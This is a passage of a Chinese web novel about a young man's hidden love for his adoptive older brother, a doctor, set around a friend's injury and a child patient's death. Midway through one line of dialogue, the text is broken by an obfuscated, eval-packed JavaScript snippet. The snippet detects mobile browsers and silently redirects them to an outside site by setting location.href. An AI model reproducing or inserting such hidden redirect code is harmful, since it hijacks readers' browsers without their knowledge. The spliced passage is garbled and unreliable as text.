章长宁膝盖还有些疼,老老实实将脸埋在章长叙的肩膀上,又喊了一声,“二哥。” “怎么了?” “我为什么……” “嗯?” “为什么我和你、和大哥长得不像?”章长宁明知道这个答案之下的真相,却还是忍不住心酸难过,“好多人、好多人都说我们长得不像。” 如果可以,章长宁倒也希望自己是真正的章家小少爷,或许只有这样,他才不会任由自己出现那种孽想。 章长叙的手臂收紧了些,“你从小就长得像妈妈,不是挺好的?” 章长宁的思绪被酒意拉扯得很缓慢,只淡淡地笑了声,“妈妈漂亮。” “你也好看。” 很快地,章长叙就回到了二楼的卧室。 房间只来得及开了一盏昏暗的地灯,显得整个空间越发静谧。 章长叙将章长宁温柔搁在床沿,蹲了下来,“乖,坐着别动,我看一下你刚刚有没有受伤?” 章长宁摇了摇头,“刚刚膝盖有点疼,现在、不疼了。” 章长叙闻言掀起他的裤脚,果不其然,右腿膝盖处有些发红,但问题不大。 章长宁垂落视线,眸光又晃荡到了章长叙的脸上,才消停的情绪再度卷土重来。 “二哥,你真好看。” “……” 章长叙抬眼看他,宠溺地叹了口气,“宁宁,你喝醉了,我去给你弄片解酒药。” 章长宁拽住他的胳膊不然走,“二哥。” “嗯?怎么了?” “我也想长得像你这样——” 章长宁随口说着醉酒的话,视线却贪婪地盯着日思夜想的人。 他蠢蠢欲动地伸出指尖,不安分地描绘起章长叙的眉眼,“二哥的眉毛,长这样;二哥的眼睛,长着这样。” “……” 章长叙呼吸沉了沉,一时间默许了眼前人的放肆。 微凉的指尖似有若无地触及着脸颊的每一处,仿佛羽毛尖拂过,带动一阵令人心悸的痒意。 “二哥的鼻子,长这样,好高。” 章长宁越凑越近,乱糟糟的念头跟着视线一起作祟,连带着喉结紧张滚动,“还有,嘴巴……” 指尖即将触碰到嘴唇的那一刻,章长叙骤然回了神。 他微微后撤、拉开了距离,又拢住了眼前人作乱的手,“章长宁,手脏,别乱碰。” 简单几个字,语调却没了平日的稳意。 章长宁没发觉这点,后知后觉地明白了章长叙的话意,他委屈地将自己的手抽了回来,凑到鼻端嗅了嗅—— “我手才不脏呢。” 章长叙缓了口气,逗他,“脏。” 章长宁坚持,“不脏。” 章长叙一本正经,还是逗他,“你喝醉酒了,你的判断不准确,我说得才对。” “……” 章长宁拧了拧眉头,想要反驳又觉得说不过对方,只好败下阵来,“好吧,那我去洗洗?洗手七步法,你教过的,我记得住!” 章长叙忍俊不禁,揉了揉他的卷毛,叮嘱,“乖乖坐着,免得走了两步又摔跤,我去拿热毛巾给你擦擦。” 章长宁眉心舒展开来,小猫开心,“嗯!” 14.【第014章】 又是一周过去。 章长宁吃完午饭后就窝在房间内一直没动弹,无聊地用平板刷着相关论坛内的八卦舆论。 敲门声响起。 “宁宁,是我,方便进来吗?” “二哥,没门锁呢,你进来吧。” 章长叙推门而入,视线对上了蜷缩在懒人沙发上的章长宁,“在看什么?” 章长宁随手搁下平板,“没,闲得无聊,随便看看。” 章长叙看了一眼时间,“给你二十分钟的时间收拾?我三点半要出发去一趟商家。” “去看三哥和确言?” 章长宁顿时来了精神,从沙发上蹦跶起来,“我这去收拾!” 章长叙笑了笑,“好,我等你。” 商家财大气粗,商延枭“出事”后一直有专门的医疗团队负责治疗,不过这支治疗团队是章长叙借自己的人脉关系组建的。 这不,为了让商老夫妇心安,医疗团队定期要上门检查。 车子平稳地行驶在城市道路上。 坐在副驾驶的章长宁却破天荒地爆出巨响,“什么?!三哥是在装昏迷?他没事啊?” “……” 章长叙被他这一声震得耳朵疼,无奈示意他冷静些。 章长宁被安全带束缚着,但整个人的身子还因为震惊而绷得笔直,“不是,这到底怎么回事啊?” “说来话长——” 章长叙自然信得过章长宁,只挑重点来说。 “车祸是真的,对他们一家造成的伤害也是真的,但延枭醒来后就好怀疑这场车祸有人为因素,想要靠着‘昏迷’放低有心人的戒心,引蛇出洞。” 现在的商延枭信不过其他人,只能求助于章长叙这位多年好友的帮忙。 得亏商老夫人也相信同为医生的章长叙,这才让他们有了瞒天过海的可能。 章长叙交代,“待会儿到了商家,你该装不知道就装不知道,别露馅了。” “放心吧,我心里有数呢。”章长宁点头,又追问,“二哥,这事除了你,还有谁知道啊?” 章长叙说,“一开始只有我、延枭的私助和保镖,确言最近应该刚刚知道,除此之外,我猜那个叫柏续的联姻对象,应该也知道了。” “柏续?”章长宁惊讶,“三哥居然没瞒过他啊?” 比起前面几号人物,柏续才进商家没两个月吧?以商延枭的严谨性子,怎么会在对方面前轻易露馅呢? 章长叙想起好友和他那位联姻对象的关系,眸底晃过一丝有趣的猜测,却没急着在章长宁的面前点破,“我也不知道。” 章长宁实在好奇,转念又想起一事道“二哥,你知道吗?这两天社交媒体和论坛上还有柏续相关的消息呢。” “嗯?”章长叙工作很忙,没时间了解网上舆论。 “说他实名举报了在校期间的导师……”章长宁乐于和章长叙分享一切所见,张嘴就叭叭叭地讲了一路。 等到车子抵达商家三房的别墅时,章长宁才叹了口气,“总算到了,我嘴巴都讲干了。” 章长叙顺手替他解开安全带,“下车吧,确言今天在家,你和他好好聊聊?我还得配合团队上来‘查查’延枭的情况。” “好。” 章长宁实在记挂着商确言的情况,抓起后排的背包就先下了车。 商家的管家林伯一早就等候在了别墅门口,他看见许久未见的章长宁,立刻笑脸相迎,“宁小少爷,你可算来了。” 章长宁张口就问,“林伯,确言呢?” 林伯说,“四少在卧室呢。” 商家人口众多,同辈的少爷里商延枭排第三,商确言排第四。 章长宁想当然地回答,“那我上楼找他。” “欸!” 林伯急忙拉住他,低声提示,“现在四少的卧室在一楼,靠近楼梯的那一间。” 因为车祸后腿脚不便,哪怕家中有电梯代步,但为了防止不必要的意外发生,商确言的卧室已经往下搬了。 “……” 章长宁怔了两秒,心绪突然变得有些发沉。 他深吸一口气,像是做足了心理准备才点头,“好,我去找他。” 章长宁回头看了一眼正在和医疗团队交涉的章长叙,先行一步进了别墅大门。 一楼靠近楼梯的那间卧室,这会儿房门紧闭。 章长宁小心翼翼地敲了敲门,“确言?你在吗?我是长宁。” 卧室内部响起点轻微动静,“等一下。” 隔着房门的回应很闷、很低,和记忆中的声线缺少了重合度。 章长宁心下一紧,耐着性子等在门口。 过了大概有半分钟,房门才从内部打开了。 章长宁原本抬高的视线落了空,缓缓往下一落—— 商确言就坐在轮椅上,脸颊消瘦得几乎没有多余的肉,原本神采奕奕甚至有些张扬的眸光不复存在,又静又沉地仿佛一团死水。 他的下半身被小毯子遮盖着,哪怕如此,也能让人察觉到底下是空落落。 “……” “……” 双目对视间,只剩沉默。 商确言出事后,章长宁发了很多短信都石沉大海,如今再一见面,一时间都不知道该说什么了。 商确言张了张嘴,极力想要稳住自己的平静面具,“长宁,抱歉啊,我前段时间状态不好,你的毕业艺术展我……” 话还没有说完,章长宁就猛地红了眼眶。 商确言一愣,旋即看见好友蹲下身子,全身发抖着给他一个结结实实的拥抱。 “确言,对不起。” 章长宁刚一张口就染上了哭腔,“对不起,我没能第一时间赶回来陪你。” 两人从幼儿园认识,一直相互玩闹到大学,彼此都把对方当成了真正意义上的朋友,也参与过彼此人生中很多重要时刻。 他想到小时候带着他各种攀爬玩闹的商确言,想到什么运动技能都能迅速上手的商确言,想到信誓旦旦说要成为赛车手的商确言—— 可如今,全都变成了眼前的商确言。 “……” 章长宁说不上自己为什么会突然眼泪失控。 他原以为自己做好了准备,可真正直面好友的这一刻,他只剩下说不上来的心疼和难受。 眼泪透湿了衣服,浸得商确言肩头滚烫。 这段时间,商确言见惯了铺天盖地揭他伤疤的报道、听惯了表里不一的慰问、以及说不清道不明的嘲讽。 他以为自己已经在这样的打击下变得无坚不摧,可好友这一抱、这一哭,反倒让他有些手足无措了。 “长、长宁,你别哭啊。” 商确言拍了拍他的后背,苦笑,“我已经没事了,以后安了假肢还能正常走呢。” “……” 章长宁没理他,无声的眼泪还和不要钱似地往外流。 商确言见自己的安慰根本起不到作用,只好将求助的视线投向了刚刚进屋的章长叙,“二哥,长宁他……” 章长叙见到这一幕,心疼蹙眉,“宁宁。” 章长宁听见身后传开的脚步声,这才憋着一张泪眼松开了商确言,“二哥。” 他嗓子被眼泪堵住,闷闷的。 章长叙凑近,用指腹抹去他的泪痕,“多大的人了?像什么样子?让你来陪确言聊聊天,你倒好,自己先哭上了?” 商确言递上纸巾,“就是啊,我已经调整好心态了,你这一来可别招我。” 章长宁胡乱地擦了擦眼泪,勉强忍住那点难受劲,“我不是故意的,我、我就是……” 看向从小怼到大的商确言,章长宁有些不好意思说实话,他是真的心疼好友,替好友难受、替好友堵得慌,这才一下子没忍住。 章长宁没说明白,但章长叙和商确言却都读懂了他的未尽之意。 章长叙揉了揉他的脑袋,转移话题,“行了,不是说在国外买了新游戏卡,就等着和确言一块玩?” “我带了。” 章长宁迅速调整好自己的情绪,不想再给好友添半点愁绪,“确言,玩吗?和以前那样赌输赢?” 商确言心头连日来积攒的阴云被章长宁的眼泪打散,久违地轻笑了声,“来就来,你待会儿输了可别又哭鼻子。” 章长宁恢复了以往的聊天模式,“嘁,你少说大话。” 章长叙由着两个弟弟互怼胡闹,和他们对上心知肚明的视线,“你们先玩,我上楼看一看延枭的情况。” “好。” … 两人来到客厅,打算直接连着大屏幕打游戏。 章长宁一边熟练地安装着游戏盘,一边忍不住环顾四周,“对了,你哥那位联姻对象不在家?” 商确言还没回答,路过的助理谢奇就抢答了,“小柏先生打算开陶艺工作室,今天外出在物色工作室选址,暂时还没回来。” “哦,这样啊。” 章长宁应了一句,拿着游戏手柄回到了沙发上,递给商确言,“来吧!开战!” … 两人玩了好几轮,游戏战况逐渐焦灼。 “章长宁,左边!小心!” “我看着呢,你……”章长宁正准备接话,视线却往别墅门口一晃,“确言,是不是有脚步声?有人回来了?” 商确言一心盯着大屏幕上的游戏进度条,随口敷衍,“没吧。” 章长宁放下游戏手柄,“我去开门看看。” “诶,你!” 商确言好胜心还在,来不及阻止就继续操控着游戏。 章长宁前去开门,眨眼就和门外的人打了个照面,他看见柏续这张发愣的熟脸,转身和商确言说,“我就说吧,外面有脚步声!” 站在门口的柏续吃惊,“章长宁?你怎么在这儿?” “怎么?我就不能出现在这里了?柏续,我对这个家的熟悉程度可不低于你呢。” 章长宁一边往里面进,一边回答对方的疑问,“我哥带团队给三哥定期检查呢,我闲着没事,跟着来看看确言。” 柏续了然,走了进去。 坐在沙发上的商确言眼看着游戏要输,喊道,“章长宁,你自己的账号你自己来,这把输了不怪我。” 章长宁闻言着急赶回,后脑勺的小呆毛还跟着颤了颤,“就知道你手生不行,哎呀,左边左边,快——” GAME OVER! “……” 游戏惨败声代替了催促。 章长宁先发制人,“商确言,你笨死了。” 说着,他不忘看向刚回家的柏续,寻求支持,“柏续,你说是不是?我才让他代打了一小会儿,一下子就没了。” 商确言磨了磨后槽牙,在好友面前总算有了一丝生活气息,“我只是手生,你这破游戏也不好玩。” “海外发行的最新款!什么不好玩!我特意带回来的!” “就是不好玩!” “就你没品!” “……” 围观小学鸡互怼的柏续忍不住笑出声。 章长宁看了过去,看似随口问,“柏续,我刚听谢奇说,你打算开陶艺工作室?” 柏续回答,“嗯,还在筹备中,除了传统陶艺,大概还会开创原创艺术融合系列,大概六月底试营业,到时候来捧捧场?” 章长宁眸光一亮,“好啊,我在国外认识挺多玩艺术的朋友,到时候给你介绍客源?” 柏续应下,“求之不得。” 商确言有些意外,“不对,你们俩什么时候认识的?还那么熟?” 章长宁也不着急重开一局了,逗他,“就不告诉你~” “别以为你哥在,我就不敢制裁你。” “你敢,我就喊我哥下来。”< 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“对了,我挺饿的,所以多备点饭菜。” “好的。” 三分钟后,柏续端着满满当当的餐盘上了楼。 章长宁盯着柏续的身影消失在楼梯拐角处,才暗戳戳地贴近章长叙,“哥,我怎么总觉得柏续和三哥有情况呢?” 章长叙仿佛瞧见了他脑袋顶上好奇的小雷达,忍着笑,“什么情况?” 章长宁摇了摇头,“我也说不上来,但就是三哥和柏续之间可能不太一样,不仅仅只是联姻对象那么简单。” 他顿了顿,继续压低声音八卦,“而且我觉得吧,柏续这人其实挺聪明的,也有些手段,说不定能帮上三哥很多事。” 章长叙逗他,“你之前不是还怕柏续又歪心思?现在又改变想法了?” 章长宁傲娇哼哼,“怎么?不行吗?” “可以。” 章长叙的话还没落地,正对面的商确言就开了口,“长宁,你吃个饭还和二哥在嘀嘀咕咕说什么呢?从小到大就黏人,长大了也不消停。” “……” 说者无意,听者有心。 章长宁意识到自己和章长叙贴的距离太近,连忙挪正身子,“我哪有?” 只是说这话时,底气明显不足了些。 章长叙没在意,只是往他碗里夹了一块鱼肉,“快吃吧,吃完回家。” “嗯。” … 临近八点,章长叙和章长宁才开车回家。 章长宁打开车窗,感受着迎面拂来的晚风,心满意足地叹了一声,“今晚吃得真好,感觉胃都撑开了。” “车窗别开太大,小心着凉。” “不会,舒服着呢。” 章长宁侧头看向章长叙,随口聊着家常,“二哥,你最近工作是不是挺忙的?还得兼顾三哥这边的事情。” 章长叙回答,“还好,这点工作压力已经习惯了,你呢?回国之后想好要做什么了吗?” 提及这事,章长宁还真有些发愁,“其实,我有点不适应国内的创作环境。” 他大学几年结识的艺术圈人脉都是外国人,如果能够按照原定计划留在国外,无论是创办工作室还是继续深造,对他而言都是轻而易举的事。 可现在回了国,章长宁一时之间没了确切方向。 艺术设计五花八门,做得好了是能赚钱度日,做不好了那就是纯纯烧钱的玩意儿。 章长叙听出了章长宁藏在语气下的为难,眉心微蹙。 他想了想说,“如果你觉得国外发展更有利于你自己的前途,那就按照你自己的想法来,虽然隔得远了些,但也就是一趟飞机的事。” “但爸妈他们肯定希望我留在国内吧?”章长宁顿了顿,又补上一句,“奶奶也是。” 章长叙说,“我可以替你和爸妈沟通,他们肯定会尊重你的意愿。” 章长宁盯着章长叙的侧颜,心有所动,“二哥,那你呢?” “什么?” “你是希望我留在国内,还是去国外发展?” “……” 章长叙不自觉地握紧了方向盘。 如果章长宁再回到国外去,长期隔着的两地时差和他们各自忙碌的工作,说不定又会将他们变成前两年无话可谈的状态。 章长宁追问,“二哥,我问你话呢。” 章长叙实话实说,“当然是希望你留在国内,但说到底,我还是会尊重你的选择。” 章长宁得到自己想要的答案,笑了笑,“就目前一两年来说,我还是想要留在国内试试看。” 章长叙听见这个答案,暗松一口气。 一两年? 一两年也好,他还能再护着一段时间。 章长叙趁着等红灯的功夫,看向章长宁,又问,“那一两年之后呢?” “我现在想要好好陪陪爸妈,还有奶奶,她老人家毕竟身体一年不如一年了。” 章长宁给出其中一个理由,却不是全部。 他看着窗外缓慢倒数计时的红灯,余光察觉到身边人的视线,却选择了回避,“至于以后再说吧。” 选择回国的真正理由,其实是他贪心地想要借着“家人”的名义,继续留在章长叙的身边。 章长宁早就说服自己做好心理准备了,他会努力不留下任何端倪和破绽,直至等到对方遇到了生命中的另一半—— 等到那一天,他会假装潇洒大度的祝福后,再永远离去。 “宁宁,你在想什么?” “啊?” 章长宁思绪微微凝结,随口接话,“哥,红灯倒计时了,三、二、一。” 章长叙一脚油门,像是要挣开所有的束缚,“嗯,走了,回家。” 15.【第015章】 七月的空气里已然布满了暑热。 章长宁从外面回家时,正好遇上收拾行李准备外出的沈眠,母子两人对上视线,不约而同地开口—— “妈,你这是要去哪里?” “小宁,你回来啦?” 沈眠示意佣人给章长宁倒了一杯冰镇柠檬水,“今天外面挺热的吧?看你脑门上都冒汗了。” “是有点。” 章长宁也不隐瞒自己的行程,“朋友投资的陶艺工作室今天开业,我去凑了凑热闹。” 他口中的陶艺工作室,正是柏续当老板投资的。 章长宁挺感兴趣,觉得和自己所擅长的专业也有所挂钩,所以厚着脸皮也投了点钱、和对方讨了个艺术总监的头衔。 这样一来,他在国内也算有个副业在做,不算是虚度光阴了。 不过因为还没做出成绩,所以章长宁不想过早透露过家里人,免得他们白开心一场。 章长宁接过佣人递来的柠檬水,大口灌了半杯才问,“妈,你这收拾东西要去哪里?” “去临省,你嫂子那边。” 章长宁的大嫂,也就是章长风的妻子,上个月刚刚诞下了一个女儿,只不过产后身体虚弱,一直待在临省的娘家休养。 “你爸和你大哥最近因为集团的事情出国了,奶奶也去小叔家短住了,我在家里闲着也是闲着,征求过你大哥大嫂的意见,打算赶去搭把手。” 虽然商家不缺钱,早就聘请了专业月嫂以及产后修复师,但初当奶奶的沈眠还是放心不下,毕竟,二十多年的阴影一直深埋在她的心底挥之不去。 章长宁点了点头,“要我送你吗?” “不用,司机在外面等了。” 沈眠示意佣人先将行李箱拿出去,转念又想起一事,“小宁,不过妈还真有事要交代你。” 章长宁自然接话,“什么?” 沈眠考他,“今天几号了?” “七月九号啊,怎么了……”章长宁的问话还没来得及落下,他就反应过来,“后天,七月十一号,二哥生日。” “就知道你这孩子不会忘记。” 沈眠拍了拍他的肩头,“这些年,长叙一直没过生日的习惯,以往还在上学的时候,我和你爸还稍微给他操持一下,自从工作后他就越发不爱折腾了。” “我想着,他这一回大概同样不爱庆祝,你后天要是有时间,简单陪你二哥吃个便饭、替他热闹热闹?反正他一向顺着你。” 章长宁想起自己很早之前就准备好的生日礼物,点头,“嗯,我知道了,妈,你别担心。” “好,时间不早了,那我就过去了,有任何事情都可以给妈妈打电话。” 章长宁主动抱了抱她,“嗯,路上小心,让司机开慢点,到了报个平安。” 沈眠拍了拍他的后背,“好,赶紧上楼冲个澡,大夏天一冷一热的,小心感冒。” “嗯。” … 隔天,十号。 章长叙早起就出了门,按部就班地开启了新一天的医院工作。 下午四点,他结束了新一轮的巡房,还没等回到脑科神经科的值班室,就听见里面传来少有的欢声笑语,仔细一听,还有熟人的声音。 “……” 宁宁? 章长叙眸底的那点疲态迅速被光亮取代,加速推门而入。 果不其然,章长宁这会儿就坐在他的值班工位上,和其他的医生同事笑成一片。 章长宁第一时间回过视线,“二哥,你回来啦?” 章长叙嘴角不自觉地弯了弯,快步走近,“你怎么来了?” 边上的医生抢先说,“叙哥,你小弟来接你下班呢。” “是啊,我们还沾了章医生的福,喝上你弟带来的咖啡了。” “不客气,能请各位哥哥姐姐是我的荣幸~你们工作辛苦。” 章长宁向来嘴甜,他拿起桌上单独放好的那一杯递给章长叙,“哥,你的。” “等下班再喝。” 章长叙收下眼前人递来的好意,又问,“怎么突然想起来接我下班了?” 章长宁看了看边上的医生们,又怕章长叙不爱热闹,于是偷摸讲,“你忘啦?明天你生日啊,我等着接你下班一块去吃大餐庆生呢。” “……” 章长叙难得愣了愣,看向值班室的电子表确认了一下日期,“今天不才十号?” “我偷偷看了一下你的排班表,明天不是要坐班守夜?所以想着今晚给你提前庆祝,等到零点也算过生日了。” 章长宁说出自己的想法,又有些担心,“二哥,你今天不忙吧?我没打招呼就这么过来了,会不会打扰到你工作?” “不会,我今天是正常的排班,五点就能下班。” 章长叙示意他坐回工作转椅上,自己则是随便勾来了一张塑料凳,“你先坐着玩一会儿手机,我把巡房的病人情况用电脑登记一下。” “好,我不打扰你。” 章长叙微微调整了一下电脑摆放,开始整理起巡房档案。 值班室里的其他医生也从玩笑中回归到了工作状态,各忙各的去了。 临近下班前的十分钟,值班室的门突然被一名护士从外着急撞开。 砰的一声,立刻引起了值班室内所有人的注意力。 护士直接锁定章长叙所在的方向,开口及时重点,“章医生!07重监的病人颅内压突然增高,各项体征都呈临界值,已经被送去抢救了,邱主任让你马上过去一趟。” 章长叙原本还算轻松的神色顿时严肃,起身就往外赶,“陈勋!跟我来!” “好!” 另外一个医生也跟着跑了出去。 “……” 章长宁因为这突如其来的变化怔在原地,过了好几秒才露出慌乱而紧张的神色。 他没敢跟上前去打扰,而是将求助的目光投向值班室里的另外一位女医生,“凌医生,这情况很严重吗?” 凌医生蹙着眉头,自然是了解这一病患,“脑癌晚期,还是个小男孩,上周才过完十岁生日,已经抗癌四年多了。” “……” 章长宁心惊,再出口的声线多了一丝颤抖,“会、会没事吧?” 凌医生不敢打包票,“现在只能寄希望于邱主任和章医生他们,能将她从死亡线上拉回来。” 章长宁没接话,只是神色变得更加凝重了。 凌医生叹了口气,“手术时长说不准,你可能要在这里等一会儿了。” “嗯,我等着。” … 时间一分一秒地过去。 章长宁眼看着到了下班点,又见着窗外的天色慢慢变黑,他再也没了玩手机的心思,一心惦记着手术室里的章长叙以及那位小病患。 说真的,这是他第一次直面医护工作的压力,哪怕只是站在旁观者的角度。 只要穿上白大褂的那一刻,就得随时随地肩负起病患的性命安危。 也不知道过了多久,章长宁只觉得自己等得思绪都要麻木了,值班室的门才有了再度开启的动静。 章长宁猛地站了起来,下意识地喊,“二哥!” 推门进来的是一名脸生的小护士,她对上章长宁焦急的目光,“是章医生的弟弟吗?刚才凌医生下班前特意叮嘱过我,章医生那边的手术一结束就来通知你。” 章长宁走近,“结束了?情况怎么样?” 小护士摇了摇头,“呃,我不太清楚,只是听说五号手术室那边结束了,你可以去看看?” “好,谢谢。” 章长宁得了明确的方向,立刻奔去了五号手术室。 叮咚。 电梯门应声而开,女人撕心裂肺的哭声像是冲破了什么屏障,骤然传了过来。 “……” 章长宁心尖凝上一丝说不上来的寒意,强迫自己走出电梯,他跟着地面指示和强烈哭声的双重指引,一步步地走到了拐角处站定—— 此刻,五号手术室的灯已经熄灭了。 一具遮了白布的推床就定在手术室的门口,一名头发凌乱的女人正不顾家人的搀扶和劝慰,扑在推床前,死死抱着白布下的至亲骨肉。 章长宁意识到了什么,呼吸一窒。 手术室的门又一次推开,章长叙在内的医护人员都走了出来。 为首的主任和章长叙走到女人和其家人的跟前,深深地鞠了一躬,然后说着什么。 时间被死亡的悲痛拉得更为缓慢。 章长宁知道自己不应该出现在这种场合,只能默默站在原地,直到家属的悲痛哭声和推车一并于他擦肩而过—— 章长叙的目光才和拐角处的他对上了线。 目光相触的那一刻,明明相隔好几米,可章长宁就是看清了章长叙眼里无法掩饰的疲惫和无力。 “……哥。” 章长宁眼眶一酸,开口却不敢大声喊。 章长叙终究是迎着章长宁的目光走了上来,他摘下口罩,站在离他咫尺近的地方,“宁宁,抱歉,刚刚没能顾得上你。” 沙哑疲惫而沙哑的,令章长宁心疼。 “二哥,我没关系,你、你没事吧?” “……” 章长叙神色还有些紧绷,答非所问,“宁宁,你先回去吧,我们手术还得开个会,估计结束会很晚了,你别饿着。” 话音刚落,那头的邱主任就喊了话,“长叙。” 章长宁不敢打扰章长叙的术后工作,“哥,你去吧,不用担心我。” “好。” 章长叙重新戴上口罩,转身拖着沉重的步伐往回走。 …… 轰隆! 夏天的雷阵雨总是说来就来,雨势随着狂风越来越大。 章长叙的太阳穴一阵一阵地发胀,走出电梯时,他意外发觉了蹲坐在休息区充电口的那团身影。 章长宁的视线就一直盯着电梯,见到章长叙的第一时间,他就着急起身,“二哥!” 结果却忘了自己保持了蹲姿太久,双腿发麻差点栽倒在地,好在手里的长柄雨伞作为支撑,勉强让他稳住了身形。 章长宁忍住双腿的麻痹感,以最快的速度靠近章长叙,“二哥,你忙完了?” 章长叙眉心一蹙,“这都几点了?你一直等在这里?” “啊……” 章长宁没有否认,“我担心你就没走。” 他举了举手中的雨伞,“我刚还特意去买了一把伞,够大,这里到停车场有段距离,你今天已经够累了,别淋着雨。” 章长叙还想再说些什么,可嗓子却被沉重的情绪堵得说不上话。 章长宁主动拢住他的手腕,“哥,我们回家吗?” “嗯。” 雨下得很大,但好在章长宁买的雨伞也够大。 两人走到停车场,章长宁看见眼熟的车牌,抢先开口,“二哥,今天换我开车。” 章长叙下意识地想要拒绝,“下雨天能见度低,你别……” 话还没说完,章长宁就抢过了他手中的车钥匙,“你放心吧,我没问题,你今天太累了,强撑着精力开车才不好。” 他一边说着,还一边将章长叙推到了副驾车门前。 再然后,一头扎进了雨里、绕到另外一边。 “宁宁!” “哥,快上车!” ——砰! 车门关上,隔绝了潮湿。 章长叙看着章长宁被打湿的衣服,连忙抽出纸巾递给他,“要不还是我来开?” 章长宁胡乱擦了擦脸上和身上的雨水,干脆启动了车子,“换来换还得淋雨,你就放心靠着休息,我在国外考过驾照了,回国之后也考了,能行。” 说完,他就打开雨刮器和前照灯,缓慢将车子开出医院。 “……” 章长叙的太阳穴实在是跳得厉害,他见章长宁的神色确实轻松,勉强释出一丝笑容,“没想到第一次坐你的副驾驶,是这种情况。” 章长宁听得出他刻意隐藏的沉重,笑着逗他开心,“这就让你见识见识我的技术。” “好。” 下雨天,章长宁开得不快倒也很稳。 章长叙原本还强撑着精神怕他开车出错,后来竟也不知不觉睡了过去。 等到再次被喊醒时,车子已经停进自家车库了。 章长叙不受控制地皱眉,“嗯?” 这一路的短暂浅眠不但没让他的头疼得到舒缓,反而加剧了不适感。 章长宁凑近,替他解开安全带,“二哥,我们到家了,你是不是不舒服?” “……没有。” 章长叙强行打起精神,“下车吧。” “哦,好。” 两人一前一后从车库的侧门走回别墅,已经过晚上十点了,佣人保姆都已经回屋睡下了,因此一楼静悄悄的。 章长宁不放心地跟着他,“二哥,你饿吗?” 兴许是到了自己熟悉的环境,章长叙只觉得自己的精力在飞速流逝,而情绪的枷锁羁押得他就快喘不过气。 “宁宁,我今天真的有点累了,想先回房休息,你也早点休息,好吗?” 从小到大,章长叙几乎从未用这样无力的语气和他说过话。 章长宁犹豫了几秒,还是尊重了章长叙的想法、让出了他独自消化的空间,“好吧。” … 是夜。 窗外的雷雨还是没有要停歇的迹象。 章长宁端着刚刚蒸好的蛋羹,试探性地敲响了章长叙的房门,“二哥?你睡了吗?” “……” 沉默的回应。 章长宁不放心,小心翼翼地打开了房门—— 章长叙的卧室是极简的黑白风,这会儿只有地灯散发出一点微弱的光亮,忽然间一道惊雷闪下,透过窗户短暂照亮了房间内的情况。 章长叙没有躺在床上,而是靠在书桌前的皮质转椅上,合着眼,极简单的黑色T恤将他的身形衬得单薄而孤寂,让人看着就有种说不上的压抑。 “二哥?” 章长宁走近,特意打开了书桌上的台灯。 他将还冒着热气的鸡蛋羹放在桌上,弯腰和他平视,“你还好吗?怎么不上床休息?” 章长叙难得慢半拍地睁开眼,太阳穴持续性的疼痛正折磨着他,“宁宁?你怎么……” “我担心你。” 章长宁直面了他眼底的疑问,蹙着眉头,“二哥,你饿了吧?我、我不太会做东西,刚弄一碗蒸蛋,你要不要稍微垫垫肚子?” 佣人保姆都已经回房入睡了,章长宁就没想着再喊醒她们。 章长叙摇了摇头,“我不饿,不早了,你困了就早点睡。” “我还不困呢,我想陪着你。” 章长宁实在是担心章长叙的状态,想了想又问,“那你渴吗?我去给你倒点温水,好不好?” 说着,他就想要起身去房间角落里的水吧。 下一秒,章长叙就拽住了他的手腕,“宁宁。” 章长宁顿住,“嗯?” 章长叙的指腹轻蹭着他的侧腕,带着一丝不轻易示人的脆弱,也是请求,“陪我聊聊天吧。” “好。” 章长宁二话不说就应了下来,他干脆就坐在了章长叙跟前的地毯上,抬眼望向他,“二哥,我听凌医生说……” 他代替章长叙开了口,“你们今天手术抢救的那个病患,还是个小朋友?” “……” 章长叙的眼光一颤,苦涩而遗憾,“嗯,他叫许嘉希。” 章长叙找回自己的语调,“严格意义上来说,他是我接手的第一位病患,我还在实习培训的时候,他就来到我们医院了。” “邱主任是他的主治医生,由我从旁协助。” 再后来,章长叙也开始参与、接手、甚至负责对方相关的治疗方案。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931091|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁宁,你知道吗?我第一次见到小希的时候,他总让我想到小时候的你。” 那个刚刚被带回章家明明小心害怕、又能努力面对很多事情的章长宁。 “手术很痛苦、治疗也很痛苦,但小希每回醒来后的第一件事情就是安慰他的父母。” “他日常最喜欢的礼物不是寻常男孩子的游戏、赛车,而是各种奇怪又可爱的帽子,因为能够盖住光秃秃的脑袋……” 前两年身体状态还算好的时候,他会像正常的小男孩那样笑着玩闹。 因为成长过程中的大多数时间都在医院度过,许嘉希很喜欢章长叙,“前阵子,我们医护人员陪着他过十岁生日,他还说长大以后也要当医生。” “知道我生日和他离得近,哪怕再虚弱都还会掰着手指头替我倒计时——” 生着重病的人,总喜欢给自己找一些盼头,好像这样就可以挺过一个又一个明天。 “他和我之间的最后一句话,章医生,我再加油两天,你就过生日了。” “……” 章长宁听得难过,却又不知道该怎么安慰。 “其实大家心里都有数,他的生命已经进入倒计时了,下过三四次病危通知,只是……只是没想到会这么突然。” 人人都说,医生看多了生死、也看淡了生死。 虽然章长叙从业的时间不长,但他已经不是第一次直面生死了,天生习惯收敛的他确实不太会“死亡”面前过分流露情感。 可今天这一次,他确实很难受。 身为医生,哪怕用尽全力也只能看着一个孩子的生命走到尽头。 “宁宁。” 章长叙望着比自己更早一步红了眼眶的章长宁,叹息,“他没能挺到我的生日,也永远长不大了。” “二哥,小希这些年已经很勇敢了、很坚强了,你和其他人也都已经尽力了,我想,他和他父母肯定能理解的。” 章长宁换了个姿势,轻轻拥抱着章长叙,“这真的不是你的错,你别自责。” 章长叙深呼一口气,“……嗯。” 章长宁不敢在章长叙的怀中停留太久,正打算抽身,结果对方忽然圈住了他,“宁宁,你别动,让我抱抱。” “……” 自从十八岁之后,两人已经很久没有过这么亲密的拥抱了。 章长宁心跳漏拍,又极力保持着自己的镇定,“二哥,你好点了吗?是不是哪里不舒服?” 章长叙感受着熟悉的气息,难得没再逞强,“头疼,太阳穴疼得厉害。” “我、我替你揉揉。” 